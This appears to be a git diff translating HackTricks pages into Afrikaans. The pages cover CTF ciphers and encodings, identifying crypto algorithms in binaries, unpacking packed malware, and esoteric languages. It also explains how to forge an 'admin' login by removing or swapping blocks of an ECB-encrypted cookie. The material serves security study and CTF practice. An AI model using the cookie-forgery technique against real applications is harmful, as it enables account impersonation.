- [www.webutils.pl/index.php?idx=xx](https://github.com/carlospolop/hacktricks/tree/bf578e4c5a955b4f6cdbe67eb4a543e16a3f848d/crypto/www.webutils.pl/index.php?idx=xx)
### YEncoder
```
=ybegin line=128 size=28 name=webutils_pl
ryvkryvkryvkryvkryvkryvkryvk
=yend size=28 crc32=35834c86
```
- [http://www.webutils.pl/index.php?idx=yenc](http://www.webutils.pl/index.php?idx=yenc)
### BinHex
```
(This file must be converted with BinHex 4.0)
:#hGPBR9dD@acAh"X!$mr2cmr2cmr!!!!!!!8!!!!!-ka5%p-38K26%&)6da"5%p
-38K26%'d9J!!:
```
- [http://www.webutils.pl/index.php?idx=binhex](http://www.webutils.pl/index.php?idx=binhex)
### ASCII85
```
<~85DoF85DoF85DoF85DoF85DoF85DoF~>
```
- [http://www.webutils.pl/index.php?idx=ascii85](http://www.webutils.pl/index.php?idx=ascii85)
### Dvorak keyboard
### Dvorak sleutelbord
```
drnajapajrna
```
- [https://www.geocachingtoolbox.com/index.php?lang=en\&page=dvorakKeyboard](https://www.geocachingtoolbox.com/index.php?lang=en&page=dvorakKeyboard)
### A1Z26
Letters to their numerical value
Letters na hul numeriese waarde
```
8 15 12 1 3 1 18 1 3 15 12 1
```
### Affine Cipher Encode
Letter to num `(ax+b)%26` (_a_ and _b_ are the keys and _x_ is the letter) and the result back to letter
Letter na nommer `(ax+b)%26` (_a_ en _b_ is die sleutels en _x_ is die letter) en die resultaat terug na letter
```
krodfdudfrod
```
### SMS Kode
### SMS Code
**Multitap** [vervang 'n letter](https://www.dcode.fr/word-letter-change) deur herhaalde syfers gedefinieer deur die ooreenstemmende sleutelkode op 'n mobiele [foon sleutelbord](https://www.dcode.fr/phone-keypad-cipher) (Hierdie modus word gebruik wanneer SMS geskryf word).\
Byvoorbeeld: 2=A, 22=B, 222=C, 3=D...\
Jy kan hierdie kode identifiseer omdat jy\*\* verskeie syfers herhaal\*\* sal sien.
**Multitap** [replaces a letter](https://www.dcode.fr/word-letter-change) by repeated digits defined by the corresponding key code on a mobile [phone keypad](https://www.dcode.fr/phone-keypad-cipher) (This mode is used when writing SMS).\
For example: 2=A, 22=B, 222=C, 3=D...\
You can identify this code because you will see\*\* several numbers repeated\*\*.
Jy kan hierdie kode dekodeer in: [https://www.dcode.fr/multitap-abc-cipher](https://www.dcode.fr/multitap-abc-cipher)
You can decode this code in: [https://www.dcode.fr/multitap-abc-cipher](https://www.dcode.fr/multitap-abc-cipher)
### Bacon Code
Substitude each letter for 4 As or Bs (or 1s and 0s)
### Bacon Kode
Vervang elke letter met 4 A's of B's (of 1's en 0's)
```
00111 01101 01010 00000 00010 00000 10000 00000 00010 01101 01010 00000
AABBB ABBAB ABABA AAAAA AAABA AAAAA BAAAA AAAAA AAABA ABBAB ABABA AAAAA
```
### Runes
![](../images/runes.jpg)
## Compression
## Kompressie
**Raw Deflate** and **Raw Inflate** (you can find both in Cyberchef) can compress and decompress data without headers.
**Raw Deflate** en **Raw Inflate** (jy kan albei in Cyberchef vind) kan data saamgepers en ontspan sonder koptekste.
## Easy Crypto
## Maklike Crypto
### XOR - Autosolver
@ -241,30 +219,25 @@ AABBB ABBAB ABABA AAAAA AAABA AAAAA BAAAA AAAAA AAABA ABBAB ABABA AAAAA
### Bifid
A keywork is needed
'n Sleutelwoord is nodig
```
fgaargaamnlunesuneoa
```
### Vigenere
A keywork is needed
'n Sleutelwoord is nodig
```
wodsyoidrods
```
- [https://www.guballa.de/vigenere-solver](https://www.guballa.de/vigenere-solver)
- [https://www.dcode.fr/vigenere-cipher](https://www.dcode.fr/vigenere-cipher)
- [https://www.mygeocachingprofile.com/codebreaker.vigenerecipher.aspx](https://www.mygeocachingprofile.com/codebreaker.vigenerecipher.aspx)
## Strong Crypto
## Sterk Crypto
### Fernet
2 base64 strings (token and key)
2 base64 strings (token en sleutel)
```
Token:
gAAAAABWC9P7-9RsxTz_dwxh9-O2VUB7Ih8UCQL1_Zk4suxnkCvb26Ie4i8HSUJ4caHZuiNtjLl3qfmCv_fS3_VpjL7HxCz7_Q==
@ -272,19 +245,16 @@ gAAAAABWC9P7-9RsxTz_dwxh9-O2VUB7Ih8UCQL1_Zk4suxnkCvb26Ie4i8HSUJ4caHZuiNtjLl3qfmC
Key:
-s6eI5hyNh8liH7Gq0urPC-vzPgNnxauKvRO4g03oYI=
```
- [https://asecuritysite.com/encryption/ferdecode](https://asecuritysite.com/encryption/ferdecode)
### Samir Secret Sharing
A secret is splitted in X parts and to recover it you need Y parts (_Y <=X_).
### Samir Geheime Deel
'n Geheim word in X dele verdeel en om dit te herstel, het jy Y dele nodig (_Y <=X_).
```
8019f8fa5879aa3e07858d08308dc1a8b45
80223035713295bddf0b0bd1b10a5340b89
803bc8cf294b3f83d88e86d9818792e80cd
```
[http://christian.gen.co/secrets/](http://christian.gen.co/secrets/)
### OpenSSL brute-force
@ -292,7 +262,7 @@ A secret is splitted in X parts and to recover it you need Y parts (_Y <=X_).
- [https://github.com/glv2/bruteforce-salted-openssl](https://github.com/glv2/bruteforce-salted-openssl)
- [https://github.com/carlospolop/easy_BFopensslCTF](https://github.com/carlospolop/easy_BFopensslCTF)
## Tools
## Gereedskap
- [https://github.com/Ganapati/RsaCtfTool](https://github.com/Ganapati/RsaCtfTool)
- [https://github.com/lockedbyte/cryptovenom](https://github.com/lockedbyte/cryptovenom)

View File

@ -1,184 +1,184 @@
# Cryptographic/Compression Algorithms
# Kriptografiese/Kompressie Algoritmes
## Cryptographic/Compression Algorithms
## Kriptografiese/Kompressie Algoritmes
{{#include ../../banners/hacktricks-training.md}}
## Identifying Algorithms
## Identifisering van Algoritmes
If you ends in a code **using shift rights and lefts, xors and several arithmetic operations** it's highly possible that it's the implementation of a **cryptographic algorithm**. Here it's going to be showed some ways to **identify the algorithm that it's used without needing to reverse each step**.
As jy eindig in 'n kode **wat regte en linke skuif, xors en verskeie aritmetiese operasies gebruik**, is dit hoogs waarskynlik dat dit die implementering van 'n **kriptografiese algoritme** is. Hier gaan daar 'n paar maniere gewys word om die **algoritme wat gebruik word te identifiseer sonder om elke stap om te keer**.
### API functions
### API funksies
**CryptDeriveKey**
If this function is used, you can find which **algorithm is being used** checking the value of the second parameter:
As hierdie funksie gebruik word, kan jy vind watter **algoritme gebruik word** deur die waarde van die tweede parameter te kontroleer:
![](<../../images/image (156).png>)
Check here the table of possible algorithms and their assigned values: [https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id](https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id)
Kontroleer hier die tabel van moontlike algoritmes en hul toegewyde waardes: [https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id](https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id)
**RtlCompressBuffer/RtlDecompressBuffer**
Compresses and decompresses a given buffer of data.
Komprimeer en dekomprimeer 'n gegewe buffer van data.
**CryptAcquireContext**
From [the docs](https://learn.microsoft.com/en-us/windows/win32/api/wincrypt/nf-wincrypt-cryptacquirecontexta): The **CryptAcquireContext** function is used to acquire a handle to a particular key container within a particular cryptographic service provider (CSP). **This returned handle is used in calls to CryptoAPI** functions that use the selected CSP.
Van [die dokumentasie](https://learn.microsoft.com/en-us/windows/win32/api/wincrypt/nf-wincrypt-cryptacquirecontexta): Die **CryptAcquireContext** funksie word gebruik om 'n handvatsel te verkry na 'n spesifieke sleutelhouer binne 'n spesifieke kriptografiese diensverskaffer (CSP). **Hierdie teruggegee handvatsel word gebruik in oproepe na CryptoAPI** funksies wat die geselekteerde CSP gebruik.
**CryptCreateHash**
Initiates the hashing of a stream of data. If this function is used, you can find which **algorithm is being used** checking the value of the second parameter:
Begin die hashing van 'n datastroom. As hierdie funksie gebruik word, kan jy vind watter **algoritme gebruik word** deur die waarde van die tweede parameter te kontroleer:
![](<../../images/image (549).png>)
\
Check here the table of possible algorithms and their assigned values: [https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id](https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id)
Kontroleer hier die tabel van moontlike algoritmes en hul toegewyde waardes: [https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id](https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id)
### Code constants
### Kode konstantes
Sometimes it's really easy to identify an algorithm thanks to the fact that it needs to use a special and unique value.
Soms is dit regtig maklik om 'n algoritme te identifiseer danksy die feit dat dit 'n spesiale en unieke waarde moet gebruik.
![](<../../images/image (833).png>)
If you search for the first constant in Google this is what you get:
As jy die eerste konstante in Google soek, is dit wat jy kry:
![](<../../images/image (529).png>)
Therefore, you can assume that the decompiled function is a **sha256 calculator.**\
You can search any of the other constants and you will obtain (probably) the same result.
Daarom kan jy aanvaar dat die dekompilde funksie 'n **sha256 sakrekenaar** is.\
Jy kan enige van die ander konstantes soek en jy sal (waarskynlik) dieselfde resultaat verkry.
### data info
If the code doesn't have any significant constant it may be **loading information from the .data section**.\
You can access that data, **group the first dword** and search for it in google as we have done in the section before:
As die kode geen betekenisvolle konstante het nie, kan dit **inligting laai vanaf die .data afdeling**.\
Jy kan daardie data toegang, **groepeer die eerste dword** en dit in Google soek soos ons in die vorige afdeling gedoen het:
![](<../../images/image (531).png>)
In this case, if you look for **0xA56363C6** you can find that it's related to the **tables of the AES algorithm**.
In hierdie geval, as jy soek na **0xA56363C6** kan jy vind dat dit verband hou met die **tabelle van die AES algoritme**.
## RC4 **(Symmetric Crypt)**
## RC4 **(Simmetriese Kriptografie)**
### Characteristics
### Kenmerke
It's composed of 3 main parts:
Dit bestaan uit 3 hoofdele:
- **Initialization stage/**: Creates a **table of values from 0x00 to 0xFF** (256bytes in total, 0x100). This table is commonly call **Substitution Box** (or SBox).
- **Scrambling stage**: Will **loop through the table** crated before (loop of 0x100 iterations, again) creating modifying each value with **semi-random** bytes. In order to create this semi-random bytes, the RC4 **key is used**. RC4 **keys** can be **between 1 and 256 bytes in length**, however it is usually recommended that it is above 5 bytes. Commonly, RC4 keys are 16 bytes in length.
- **XOR stage**: Finally, the plain-text or cyphertext is **XORed with the values created before**. The function to encrypt and decrypt is the same. For this, a **loop through the created 256 bytes** will be performed as many times as necessary. This is usually recognized in a decompiled code with a **%256 (mod 256)**.
- **Inisialisering fase/**: Skep 'n **tabel van waardes van 0x00 tot 0xFF** (256bytes in totaal, 0x100). Hierdie tabel word algemeen die **Substitusie Boks** (of SBox) genoem.
- **Hussel fase**: Sal **deur die tabel loop** wat voorheen geskep is (lus van 0x100 iterasies, weer) en elke waarde met **semi-ewe** bytes aanpas. Om hierdie semi-ewe bytes te skep, word die RC4 **sleutel gebruik**. RC4 **sleutels** kan **tussen 1 en 256 bytes in lengte** wees, maar dit word gewoonlik aanbeveel dat dit bo 5 bytes is. Gewoonlik is RC4 sleutels 16 bytes in lengte.
- **XOR fase**: Laastens, die plain-text of cyphertext word **XORed met die waardes wat voorheen geskep is**. Die funksie om te enkripteer en te dekripteer is dieselfde. Hiervoor sal 'n **lus deur die geskepte 256 bytes** uitgevoer word soveel keer as wat nodig is. Dit word gewoonlik in 'n dekompilde kode erken met 'n **%256 (mod 256)**.
> [!NOTE]
> **In order to identify a RC4 in a disassembly/decompiled code you can check for 2 loops of size 0x100 (with the use of a key) and then a XOR of the input data with the 256 values created before in the 2 loops probably using a %256 (mod 256)**
> **Om 'n RC4 in 'n disassembly/dekompilde kode te identifiseer, kan jy kyk vir 2 lusse van grootte 0x100 (met die gebruik van 'n sleutel) en dan 'n XOR van die invoerdata met die 256 waardes wat voorheen in die 2 lusse geskep is, waarskynlik met 'n %256 (mod 256)**
### **Initialization stage/Substitution Box:** (Note the number 256 used as counter and how a 0 is written in each place of the 256 chars)
### **Inisialisering fase/Substitusie Boks:** (Let op die nommer 256 wat as teenwoordiger gebruik word en hoe 'n 0 in elke plek van die 256 karakters geskryf word)
![](<../../images/image (584).png>)
### **Scrambling Stage:**
### **Hussel Fase:**
![](<../../images/image (835).png>)
### **XOR Stage:**
### **XOR Fase:**
![](<../../images/image (904).png>)
## **AES (Symmetric Crypt)**
## **AES (Simmetriese Kriptografie)**
### **Characteristics**
### **Kenmerke**
- Use of **substitution boxes and lookup tables**
- It's possible to **distinguish AES thanks to the use of specific lookup table values** (constants). _Note that the **constant** can be **stored** in the binary **or created**_ _**dynamically**._
- The **encryption key** must be **divisible** by **16** (usually 32B) and usually an **IV** of 16B is used.
- Gebruik van **substitusie bokse en opsoek tabelle**
- Dit is moontlik om **AES te onderskei danksy die gebruik van spesifieke opsoek tabel waardes** (konstantes). _Let daarop dat die **konstante** in die binêre **gestoor** kan word **of geskep** _ _**dynamies**._
- Die **enkripsiesleutel** moet **deelbaar** wees deur **16** (gewoonlik 32B) en gewoonlik word 'n **IV** van 16B gebruik.
### SBox constants
### SBox konstantes
![](<../../images/image (208).png>)
## Serpent **(Symmetric Crypt)**
## Serpent **(Simmetriese Kriptografie)**
### Characteristics
### Kenmerke
- It's rare to find some malware using it but there are examples (Ursnif)
- Simple to determine if an algorithm is Serpent or not based on it's length (extremely long function)
- Dit is selde om sekere malware wat dit gebruik te vind, maar daar is voorbeelde (Ursnif)
- Eenvoudig om te bepaal of 'n algoritme Serpent is of nie gebaseer op sy lengte (uiters lang funksie)
### Identifying
### Identifisering
In the following image notice how the constant **0x9E3779B9** is used (note that this constant is also used by other crypto algorithms like **TEA** -Tiny Encryption Algorithm).\
Also note the **size of the loop** (**132**) and the **number of XOR operations** in the **disassembly** instructions and in the **code** example:
In die volgende beeld let op hoe die konstante **0x9E3779B9** gebruik word (let daarop dat hierdie konstante ook deur ander kripto algoritmes soos **TEA** -Tiny Encryption Algorithm gebruik word).\
Let ook op die **grootte van die lus** (**132**) en die **aantal XOR operasies** in die **disassembly** instruksies en in die **kode** voorbeeld:
![](<../../images/image (547).png>)
As it was mentioned before, this code can be visualized inside any decompiler as a **very long function** as there **aren't jumps** inside of it. The decompiled code can look like the following:
Soos voorheen genoem, kan hierdie kode binne enige decompiler as 'n **baie lang funksie** gesien word aangesien daar **nie spronge** binne dit is nie. Die dekompilde kode kan soos volg lyk:
![](<../../images/image (513).png>)
Therefore, it's possible to identify this algorithm checking the **magic number** and the **initial XORs**, seeing a **very long function** and **comparing** some **instructions** of the long function **with an implementation** (like the shift left by 7 and the rotate left by 22).
Daarom is dit moontlik om hierdie algoritme te identifiseer deur die **magiese nommer** en die **begin XORs** te kontroleer, 'n **baie lang funksie** te sien en **instruksies** van die lang funksie **te vergelyk** met 'n implementering (soos die skuif links deur 7 en die rotasie links deur 22).
## RSA **(Asymmetric Crypt)**
## RSA **(Asimmetriese Kriptografie)**
### Characteristics
### Kenmerke
- More complex than symmetric algorithms
- There are no constants! (custom implementation are difficult to determine)
- KANAL (a crypto analyzer) fails to show hints on RSA ad it relies on constants.
- Meer kompleks as simmetriese algoritmes
- Daar is geen konstantes nie! (aangepaste implementasies is moeilik om te bepaal)
- KANAL (n kripto ontleder) misluk om leidrade oor RSA te toon en dit staatmaak op konstantes.
### Identifying by comparisons
### Identifisering deur vergelykings
![](<../../images/image (1113).png>)
- In line 11 (left) there is a `+7) >> 3` which is the same as in line 35 (right): `+7) / 8`
- Line 12 (left) is checking if `modulus_len < 0x040` and in line 36 (right) it's checking if `inputLen+11 > modulusLen`
- In lyn 11 (links) is daar 'n `+7) >> 3` wat dieselfde is as in lyn 35 (regs): `+7) / 8`
- Lyn 12 (links) kontroleer of `modulus_len < 0x040` en in lyn 36 (regs) kontroleer dit of `inputLen+11 > modulusLen`
## MD5 & SHA (hash)
### Characteristics
### Kenmerke
- 3 functions: Init, Update, Final
- Similar initialize functions
- 3 funksies: Init, Update, Final
- Soortgelyke inisialisering funksies
### Identify
### Identifiseer
**Init**
You can identify both of them checking the constants. Note that the sha_init has 1 constant that MD5 doesn't have:
Jy kan albei identifiseer deur die konstantes te kontroleer. Let daarop dat die sha_init 'n konstante het wat MD5 nie het nie:
![](<../../images/image (406).png>)
**MD5 Transform**
Note the use of more constants
Let op die gebruik van meer konstantes
![](<../../images/image (253) (1) (1).png>)
## CRC (hash)
- Smaller and more efficient as it's function is to find accidental changes in data
- Uses lookup tables (so you can identify constants)
- Kleiner en meer doeltreffend aangesien dit se funksie is om toevallige veranderinge in data te vind
- Gebruik opsoek tabelle (so jy kan konstantes identifiseer)
### Identify
### Identifiseer
Check **lookup table constants**:
Kontroleer **opsoek tabel konstantes**:
![](<../../images/image (508).png>)
A CRC hash algorithm looks like:
'n CRC hash algoritme lyk soos:
![](<../../images/image (391).png>)
## APLib (Compression)
## APLib (Kompressie)
### Characteristics
### Kenmerke
- Not recognizable constants
- You can try to write the algorithm in python and search for similar things online
- Nie herkenbare konstantes
- Jy kan probeer om die algoritme in python te skryf en soortgelyke dinge aanlyn te soek
### Identify
### Identifiseer
The graph is quiet large:
Die grafiek is redelik groot:
![](<../../images/image (207) (2) (1).png>)
Check **3 comparisons to recognise it**:
Kontroleer **3 vergelykings om dit te herken**:
![](<../../images/image (430).png>)

View File

@ -1,24 +1,24 @@
{{#include ../../banners/hacktricks-training.md}}
# Identifying packed binaries
# Identifisering van gepakte binêre
- **lack of strings**: It's common to find that packed binaries doesn't have almost any string
- A lot of **unused strings**: Also, when a malware is using some kind of commercial packer it's common to find a lot of strings without cross-references. Even if these strings exist that doesn't mean that the binary isn't packed.
- You can also use some tools to try to find which packer was used to pack a binary:
- [PEiD](http://www.softpedia.com/get/Programming/Packers-Crypters-Protectors/PEiD-updated.shtml)
- [Exeinfo PE](http://www.softpedia.com/get/Programming/Packers-Crypters-Protectors/ExEinfo-PE.shtml)
- [Language 2000](http://farrokhi.net/language/)
- **gebrek aan strings**: Dit is algemeen om te vind dat gepakte binêre amper geen string het nie
- 'n Baie **onbenutte strings**: Ook, wanneer 'n malware 'n soort kommersiële pakker gebruik, is dit algemeen om 'n baie strings sonder kruisverwysings te vind. Alhoewel hierdie strings bestaan, beteken dit nie dat die binêre nie gepak is nie.
- Jy kan ook 'n paar gereedskap gebruik om te probeer uitvind watter pakker gebruik is om 'n binêre te pak:
- [PEiD](http://www.softpedia.com/get/Programming/Packers-Crypters-Protectors/PEiD-updated.shtml)
- [Exeinfo PE](http://www.softpedia.com/get/Programming/Packers-Crypters-Protectors/ExEinfo-PE.shtml)
- [Language 2000](http://farrokhi.net/language/)
# Basic Recommendations
# Basiese Aanbevelings
- **Start** analysing the packed binary **from the bottom in IDA and move up**. Unpackers exit once the unpacked code exit so it's unlikely that the unpacker passes execution to the unpacked code at the start.
- Search for **JMP's** or **CALLs** to **registers** or **regions** of **memory**. Also search for **functions pushing arguments and an address direction and then calling `retn`**, because the return of the function in that case may call the address just pushed to the stack before calling it.
- Put a **breakpoint** on `VirtualAlloc` as this allocates space in memory where the program can write unpacked code. The "run to user code" or use F8 to **get to value inside EAX** after executing the function and "**follow that address in dump**". You never know if that is the region where the unpacked code is going to be saved.
- **`VirtualAlloc`** with the value "**40**" as an argument means Read+Write+Execute (some code that needs execution is going to be copied here).
- **While unpacking** code it's normal to find **several calls** to **arithmetic operations** and functions like **`memcopy`** or **`Virtual`**`Alloc`. If you find yourself in a function that apparently only perform arithmetic operations and maybe some `memcopy` , the recommendation is to try to **find the end of the function** (maybe a JMP or call to some register) **or** at least the **call to the last function** and run to then as the code isn't interesting.
- While unpacking code **note** whenever you **change memory region** as a memory region change may indicate the **starting of the unpacking code**. You can easily dump a memory region using Process Hacker (process --> properties --> memory).
- While trying to unpack code a good way to **know if you are already working with the unpacked code** (so you can just dump it) is to **check the strings of the binary**. If at some point you perform a jump (maybe changing the memory region) and you notice that **a lot more strings where added**, then you can know **you are working with the unpacked code**.\
However, if the packer already contains a lot of strings you can see how many strings contains the word "http" and see if this number increases.
- When you dump an executable from a region of memory you can fix some headers using [PE-bear](https://github.com/hasherezade/pe-bear-releases/releases).
- **Begin** om die gepakte binêre **van die onderkant in IDA te analiseer en beweeg op**. Unpackers verlaat wanneer die uitgepakte kode verlaat, so dit is onwaarskynlik dat die unpacker uitvoering aan die uitgepakte kode aan die begin oorgee.
- Soek na **JMP's** of **CALLs** na **registers** of **gebiede** van **geheue**. Soek ook na **funksies wat argumente en 'n adresrigting druk en dan `retn` aanroep**, want die terugkeer van die funksie in daardie geval kan die adres wat net na die stapel gedruk is, aanroep voordat dit aanroep.
- Plaas 'n **breekpunt** op `VirtualAlloc` aangesien dit ruimte in geheue toewys waar die program uitgepakte kode kan skryf. Die "loop na gebruikerskode" of gebruik F8 om **na waarde binne EAX te kom** nadat die funksie uitgevoer is en "**volg daardie adres in dump**". Jy weet nooit of dit die gebied is waar die uitgepakte kode gestoor gaan word.
- **`VirtualAlloc`** met die waarde "**40**" as 'n argument beteken Lees+Skryf+Voer uit (sommige kode wat uitvoering benodig, gaan hier gekopieer word).
- **Terwyl jy** kode unpack, is dit normaal om **verskeie oproepe** na **aritmetiese operasies** en funksies soos **`memcopy`** of **`Virtual`**`Alloc` te vind. As jy in 'n funksie is wat blykbaar net aritmetiese operasies uitvoer en dalk 'n `memcopy`, is die aanbeveling om te probeer **die einde van die funksie te vind** (miskien 'n JMP of oproep na 'n register) **of** ten minste die **oproep na die laaste funksie** en loop dan na dit toe, aangesien die kode nie interessant is nie.
- Terwyl jy kode unpack, **let op** wanneer jy **geheuegebied verander** aangesien 'n verandering in geheuegebied 'n aanduiding kan wees van die **begin van die unpacking kode**. Jy kan maklik 'n geheuegebied dump met Process Hacker (proses --> eienskappe --> geheue).
- Terwyl jy probeer om kode te unpack, is 'n goeie manier om te **weet of jy reeds met die uitgepakte kode werk** (sodat jy dit net kan dump) om die **strings van die binêre te kontroleer**. As jy op 'n stadium 'n sprong maak (miskien die geheuegebied verander) en jy opmerk dat **baie meer strings bygevoeg is**, dan kan jy weet **jy werk met die uitgepakte kode**.\
As die pakker egter reeds 'n baie strings bevat, kan jy kyk hoeveel strings die woord "http" bevat en sien of hierdie getal toeneem.
- Wanneer jy 'n uitvoerbare lêer van 'n geheuegebied dump, kan jy 'n paar koptekste regstel met behulp van [PE-bear](https://github.com/hasherezade/pe-bear-releases/releases).
{{#include ../../banners/hacktricks-training.md}}

View File

@ -2,72 +2,66 @@
# ECB
(ECB) Electronic Code Book - symmetric encryption scheme which **replaces each block of the clear text** by the **block of ciphertext**. It is the **simplest** encryption scheme. The main idea is to **split** the clear text into **blocks of N bits** (depends on the size of the block of input data, encryption algorithm) and then to encrypt (decrypt) each block of clear text using the only key.
(ECB) Elektroniese Kodeboek - simmetriese versleuteling skema wat **elke blok van die duidelike teks** vervang deur die **blok van gesleutelde teks**. Dit is die **simpele** versleuteling skema. Die hoofidee is om die duidelike teks in **blokkies van N bits** te **verdeel** (hang af van die grootte van die blok van invoerdata, versleuteling algoritme) en dan om elke blok van duidelike teks te versleutel (ontsleutel) met behulp van die enigste sleutel.
![](https://upload.wikimedia.org/wikipedia/commons/thumb/e/e6/ECB_decryption.svg/601px-ECB_decryption.svg.png)
Using ECB has multiple security implications:
Die gebruik van ECB het verskeie sekuriteitsimplikasies:
- **Blocks from encrypted message can be removed**
- **Blocks from encrypted message can be moved around**
- **Blokkies van die gesleutelde boodskap kan verwyder word**
- **Blokkies van die gesleutelde boodskap kan rondbeweeg word**
# Detection of the vulnerability
# Opsporing van die kwesbaarheid
Imagine you login into an application several times and you **always get the same cookie**. This is because the cookie of the application is **`<username>|<password>`**.\
Then, you generate to new users, both of them with the **same long password** and **almost** the **same** **username**.\
You find out that the **blocks of 8B** where the **info of both users** is the same are **equals**. Then, you imagine that this might be because **ECB is being used**.
Like in the following example. Observe how these** 2 decoded cookies** has several times the block **`\x23U\xE45K\xCB\x21\xC8`**
Stel jou voor jy teken verskeie kere in op 'n toepassing en jy **kry altyd dieselfde koekie**. Dit is omdat die koekie van die toepassing **`<username>|<password>`** is.\
Dan genereer jy nuwe gebruikers, albei met die **selfde lang wagwoord** en **amper** die **selfde** **gebruikersnaam**.\
Jy vind uit dat die **blokkies van 8B** waar die **inligting van albei gebruikers** dieselfde is, **gelyk** is. Dan stel jy jou voor dat dit dalk is omdat **ECB gebruik word**.
Soos in die volgende voorbeeld. Let op hoe hierdie **2 ontcodeerde koekies** verskeie kere die blok **`\x23U\xE45K\xCB\x21\xC8`** het.
```
\x23U\xE45K\xCB\x21\xC8\x23U\xE45K\xCB\x21\xC8\x04\xB6\xE1H\xD1\x1E \xB6\x23U\xE45K\xCB\x21\xC8\x23U\xE45K\xCB\x21\xC8+=\xD4F\xF7\x99\xD9\xA9
\x23U\xE45K\xCB\x21\xC8\x23U\xE45K\xCB\x21\xC8\x04\xB6\xE1H\xD1\x1E \xB6\x23U\xE45K\xCB\x21\xC8\x23U\xE45K\xCB\x21\xC8+=\xD4F\xF7\x99\xD9\xA9
```
Dit is omdat die **gebruikersnaam en wagwoord van daardie koekies verskeie kere die letter "a" bevat** (byvoorbeeld). Die **blokke** wat **verskillend** is, is blokke wat **ten minste 1 verskillende karakter** bevat (miskien die skeidingsteken "|" of 'n nodige verskil in die gebruikersnaam).
This is because the **username and password of those cookies contained several times the letter "a"** (for example). The **blocks** that are **different** are blocks that contained **at least 1 different character** (maybe the delimiter "|" or some necessary difference in the username).
Nou, die aanvaller moet net ontdek of die formaat `<gebruikersnaam><skeidingsteken><wagwoord>` of `<wagwoord><skeidingsteken><gebruikersnaam>` is. Om dit te doen, kan hy net **verskeie gebruikersname genereer** met **soortgelyke en lang gebruikersname en wagwoorde totdat hy die formaat en die lengte van die skeidingsteken vind:**
Now, the attacker just need to discover if the format is `<username><delimiter><password>` or `<password><delimiter><username>`. For doing that, he can just **generate several usernames **with s**imilar and long usernames and passwords until he find the format and the length of the delimiter:**
| Gebruikersnaam lengte: | Wagwoord lengte: | Gebruikersnaam+Wagwoord lengte: | Koekie se lengte (na dekodering): |
| ---------------------- | ---------------- | ------------------------------- | --------------------------------- |
| 2 | 2 | 4 | 8 |
| 3 | 3 | 6 | 8 |
| 3 | 4 | 7 | 8 |
| 4 | 4 | 8 | 16 |
| 7 | 7 | 14 | 16 |
| Username length: | Password length: | Username+Password length: | Cookie's length (after decoding): |
| ---------------- | ---------------- | ------------------------- | --------------------------------- |
| 2 | 2 | 4 | 8 |
| 3 | 3 | 6 | 8 |
| 3 | 4 | 7 | 8 |
| 4 | 4 | 8 | 16 |
| 7 | 7 | 14 | 16 |
# Exploitering van die kwesbaarheid
# Exploitation of the vulnerability
## Removing entire blocks
Knowing the format of the cookie (`<username>|<password>`), in order to impersonate the username `admin` create a new user called `aaaaaaaaadmin` and get the cookie and decode it:
## Verwydering van hele blokke
Weetende die formaat van die koekie (`<gebruikersnaam>|<wagwoord>`), om die gebruikersnaam `admin` na te doen, skep 'n nuwe gebruiker genaamd `aaaaaaaaadmin` en kry die koekie en dekodeer dit:
```
\x23U\xE45K\xCB\x21\xC8\xE0Vd8oE\x123\aO\x43T\x32\xD5U\xD4
```
We can see the pattern `\x23U\xE45K\xCB\x21\xC8` created previously with the username that contained only `a`.\
Then, you can remove the first block of 8B and you will et a valid cookie for the username `admin`:
Ons kan die patroon `\x23U\xE45K\xCB\x21\xC8` wat vroeër geskep is met die gebruikersnaam wat slegs `a` bevat, sien.\
Dan kan jy die eerste blok van 8B verwyder en jy sal 'n geldige koekie vir die gebruikersnaam `admin` kry:
```
\xE0Vd8oE\x123\aO\x43T\x32\xD5U\xD4
```
## Beweeg blokke
## Moving blocks
In baie databasisse is dit dieselfde om te soek na `WHERE username='admin';` of na `WHERE username='admin ';` _(Let op die ekstra spaties)_
In many databases it is the same to search for `WHERE username='admin';` or for `WHERE username='admin ';` _(Note the extra spaces)_
So, 'n ander manier om die gebruiker `admin` na te boots, sou wees om:
So, another way to impersonate the user `admin` would be to:
- 'n gebruikersnaam te genereer wat: `len(<username>) + len(<delimiter) % len(block)`. Met 'n blokgrootte van `8B` kan jy 'n gebruikersnaam genereer wat genoem word: `username `, met die afskeidsteken `|` sal die stuk `<username><delimiter>` 2 blokke van 8Bs genereer.
- Dan, genereer 'n wagwoord wat 'n presiese aantal blokke sal vul wat die gebruikersnaam bevat wat ons wil naboots en spaties, soos: `admin `
- Generate a username that: `len(<username>) + len(<delimiter) % len(block)`. With a block size of `8B` you can generate username called: `username `, with the delimiter `|` the chunk `<username><delimiter>` will generate 2 blocks of 8Bs.
- Then, generate a password that will fill an exact number of blocks containing the username we want to impersonate and spaces, like: `admin `
Die koekie van hierdie gebruiker gaan bestaan uit 3 blokke: die eerste 2 is die blokke van die gebruikersnaam + afskeidsteken en die derde een van die wagwoord (wat die gebruikersnaam naboots): `username |admin `
The cookie of this user is going to be composed by 3 blocks: the first 2 is the blocks of the username + delimiter and the third one of the password (which is faking the username): `username |admin `
**Vervang dan net die eerste blok met die laaste keer en jy sal die gebruiker `admin` naboots: `admin |username`**
**Then, just replace the first block with the last time and will be impersonating the user `admin`: `admin |username`**
## References
## Verwysings
- [http://cryptowiki.net/index.php?title=Electronic_Code_Book\_(ECB)](<http://cryptowiki.net/index.php?title=Electronic_Code_Book_(ECB)>)

View File

@ -1,18 +1,16 @@
# Esoteric languages
# Esoteriese tale
{{#include ../banners/hacktricks-training.md}}
## [Esolangs Wiki](https://esolangs.org/wiki/Main_Page)
Check that wiki to search more esotreic languages
Kyk na daardie wiki om meer esoteriese tale te soek
## Malbolge
```
('&%:9]!~}|z2Vxwv-,POqponl$Hjig%eB@@>}=<M:9wv6WsU2T|nm-,jcL(I&%$#"
`CB]V?Tx<uVtT`Rpo3NlF.Jh++FdbCBA@?]!~|4XzyTT43Qsqq(Lnmkj"Fhg${z@>
```
[http://malbolge.doleczek.pl/](http://malbolge.doleczek.pl)
## npiet
@ -22,7 +20,6 @@ Check that wiki to search more esotreic languages
